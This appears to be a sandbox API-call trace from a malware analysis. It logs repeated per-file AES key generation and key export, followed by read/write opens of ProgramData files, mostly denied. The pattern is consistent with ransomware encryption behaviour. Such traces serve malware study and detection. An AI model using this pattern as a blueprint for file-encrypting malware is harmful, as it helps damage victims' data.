	[0129.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180bb18 | out: hHeap=0x1720000) returned 1
	[0129.787] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.788] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b440a8 | out: phKey=0x6b440a8*=0x17c8570) returned 1
	[0129.788] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b440ac, pdwDataLen=0x497fc1c | out: pbData=0x6b440ac*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.788] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml")) returned 0x20
	[0129.788] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.789] GetLastError () returned 0x5
	[0129.789] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.789] GetProcessHeap () returned 0x1720000
	[0129.789] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c598 | out: hHeap=0x1720000) returned 1
	[0129.789] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.789] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b442f0 | out: phKey=0x6b442f0*=0x17c7ef0) returned 1
	[0129.789] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b442f4, pdwDataLen=0x497fc1c | out: pbData=0x6b442f4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.789] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml")) returned 0x20
	[0129.790] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.790] GetLastError () returned 0x5
	[0129.790] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0129.790] GetProcessHeap () returned 0x1720000
	[0129.790] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180bf50 | out: hHeap=0x1720000) returned 1
	[0129.790] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.790] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45e50 | out: phKey=0x6b45e50*=0x17c8570) returned 1
	[0129.790] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45e54, pdwDataLen=0x497fc1c | out: pbData=0x6b45e54*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.791] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml")) returned 0x20
	[0129.791] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.791] GetLastError () returned 0x5
	[0129.791] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.791] GetProcessHeap () returned 0x1720000
	[0129.791] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c738 | out: hHeap=0x1720000) returned 1
	[0129.791] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.791] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b46098 | out: phKey=0x6b46098*=0x17c8570) returned 1
	[0129.791] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4609c, pdwDataLen=0x497fc1c | out: pbData=0x6b4609c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.792] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml")) returned 0x20
	[0129.792] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.792] GetLastError () returned 0x5
	[0129.792] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.792] GetProcessHeap () returned 0x1720000
	[0129.792] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180be78 | out: hHeap=0x1720000) returned 1
	[0129.792] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.792] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b44c10 | out: phKey=0x6b44c10*=0x17c8430) returned 1
	[0129.792] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44c14, pdwDataLen=0x497fc1c | out: pbData=0x6b44c14*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.793] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml")) returned 0x20
	[0129.793] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.793] GetLastError () returned 0x5
	[0129.793] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0129.793] GetProcessHeap () returned 0x1720000
	[0129.793] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cf58 | out: hHeap=0x1720000) returned 1
	[0129.793] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.793] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b462e0 | out: phKey=0x6b462e0*=0x17c7e70) returned 1
	[0129.794] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b462e4, pdwDataLen=0x497fc1c | out: pbData=0x6b462e4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.794] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml")) returned 0x20
	[0129.794] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.794] GetLastError () returned 0x5
	[0129.794] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0129.795] GetProcessHeap () returned 0x1720000
	[0129.795] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c028 | out: hHeap=0x1720000) returned 1
	[0129.795] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.795] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b472d8 | out: phKey=0x6b472d8*=0x17c80f0) returned 1
	[0129.795] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b472dc, pdwDataLen=0x497fc1c | out: pbData=0x6b472dc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.796] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml")) returned 0x20
	[0129.796] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.796] GetLastError () returned 0x5
	[0129.796] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0129.796] GetProcessHeap () returned 0x1720000
	[0129.796] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c808 | out: hHeap=0x1720000) returned 1
	[0129.796] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.796] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b46770 | out: phKey=0x6b46770*=0x17c8270) returned 1
	[0129.796] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46774, pdwDataLen=0x497fc1c | out: pbData=0x6b46774*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.797] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml")) returned 0x20
	[0129.797] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.797] GetLastError () returned 0x5
	[0129.797] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0129.797] GetProcessHeap () returned 0x1720000
	[0129.797] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ba40 | out: hHeap=0x1720000) returned 1
	[0129.797] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.797] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b469b8 | out: phKey=0x6b469b8*=0x17c8230) returned 1
	[0129.797] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b469bc, pdwDataLen=0x497fc1c | out: pbData=0x6b469bc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.798] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml")) returned 0x20
	[0129.798] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.798] GetLastError () returned 0x5
	[0129.798] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.798] GetProcessHeap () returned 0x1720000
	[0129.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c9a8 | out: hHeap=0x1720000) returned 1
	[0129.798] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.798] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b46c00 | out: phKey=0x6b46c00*=0x17c82b0) returned 1
	[0129.798] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46c04, pdwDataLen=0x497fc1c | out: pbData=0x6b46c04*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.799] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml")) returned 0x20
	[0129.799] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.799] GetLastError () returned 0x5
	[0129.799] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0129.799] GetProcessHeap () returned 0x1720000
	[0129.799] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c7c0 | out: hHeap=0x1720000) returned 1
	[0129.799] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.800] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b47090 | out: phKey=0x6b47090*=0x17c82b0) returned 1
	[0129.800] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47094, pdwDataLen=0x497fc1c | out: pbData=0x6b47094*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.800] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml")) returned 0x20
	[0129.801] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.801] GetLastError () returned 0x5
	[0129.801] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0129.801] GetProcessHeap () returned 0x1720000
	[0129.801] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d0f8 | out: hHeap=0x1720000) returned 1
	[0129.801] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.801] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b48518 | out: phKey=0x6b48518*=0x17c80f0) returned 1
	[0129.801] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4851c, pdwDataLen=0x497fc1c | out: pbData=0x6b4851c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.802] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml")) returned 0x20
	[0129.802] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.802] GetLastError () returned 0x5
	[0129.802] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0129.802] GetProcessHeap () returned 0x1720000
	[0129.802] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c2b0 | out: hHeap=0x1720000) returned 1
	[0129.802] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.802] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b47bf8 | out: phKey=0x6b47bf8*=0x17c8570) returned 1
	[0129.803] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47bfc, pdwDataLen=0x497fc1c | out: pbData=0x6b47bfc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.803] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml")) returned 0x20
	[0129.803] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.803] GetLastError () returned 0x5
	[0129.804] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.804] GetProcessHeap () returned 0x1720000
	[0129.804] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181ce88 | out: hHeap=0x1720000) returned 1
	[0129.804] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.804] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b48760 | out: phKey=0x6b48760*=0x17c80f0) returned 1
	[0129.804] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48764, pdwDataLen=0x497fc1c | out: pbData=0x6b48764*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.804] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml")) returned 0x20
	[0129.805] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.805] GetLastError () returned 0x5
	[0129.805] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0129.805] GetProcessHeap () returned 0x1720000
	[0129.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c6e8 | out: hHeap=0x1720000) returned 1
	[0129.805] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0134.015] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b482d0 | out: phKey=0x6b482d0*=0x17c83f0) returned 1
	[0134.016] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b482d4, pdwDataLen=0x497fc1c | out: pbData=0x6b482d4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0134.017] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml")) returned 0x20
	[0134.017] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.017] GetLastError () returned 0x5
	[0134.017] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.017] GetProcessHeap () returned 0x1720000
	[0134.017] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4728 | out: hHeap=0x1720000) returned 1
	[0134.017] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0134.709] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b46e48 | out: phKey=0x6b46e48*=0x17c81b0) returned 1
	[0134.709] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46e4c, pdwDataLen=0x497fc1c | out: pbData=0x6b46e4c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0135.814] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b")) returned 0x20
